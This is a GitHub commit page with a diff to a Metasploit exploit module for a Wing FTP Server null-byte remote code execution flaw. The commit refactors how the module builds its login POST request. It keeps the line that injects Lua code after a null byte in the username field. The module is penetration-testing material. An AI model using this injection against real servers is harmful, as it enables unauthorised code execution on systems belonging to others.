Skip to content

Commit 6edbfb3

Browse files
Update modules/exploits/multi/http/wingftp_null_byte_rce.rb
Co-authored-by: Christophe De La Fuente <[email protected]>
1 parent ef3ddec commit 6edbfb3

File tree

1 file changed

+6
-9
lines changed

1 file changed

+6
-9
lines changed

modules/exploits/multi/http/wingftp_null_byte_rce.rb

Lines changed: 6 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -115,21 +115,18 @@ def exploit
115115

116116
inj = "#{user}%00" + Rex::Text.uri_encode(lua).gsub('%0a', '%0d') + '--'
117117

118-
post_data = [
119-
"username=#{inj}",
120-
"password=#{pass}",
121-
"username_val=#{user}",
122-
"password_val=#{pass}"
123-
].join('&')
124-
125118
res = send_request_cgi(
126119
'method' => 'POST',
127120
'uri' => normalize_uri(target_uri.path, 'loginok.html'),
128121
'headers' => {
129-
'Content-Type' => 'application/x-www-form-urlencoded',
130122
'Referer' => normalize_uri(target_uri.path, 'login.html') + '?lang=english'
131123
},
132-
'data' => post_data
124+
'vars_post' => {
125+
'username' => inj,
126+
'password' => pass,
127+
'username_val' => user,
128+
'password_val' => pass
129+
}
133130
)
134131
fail_with(Failure::UnexpectedReply, 'Injection failed') unless res&.code == 200
135132

0 commit comments

Comments
 (0)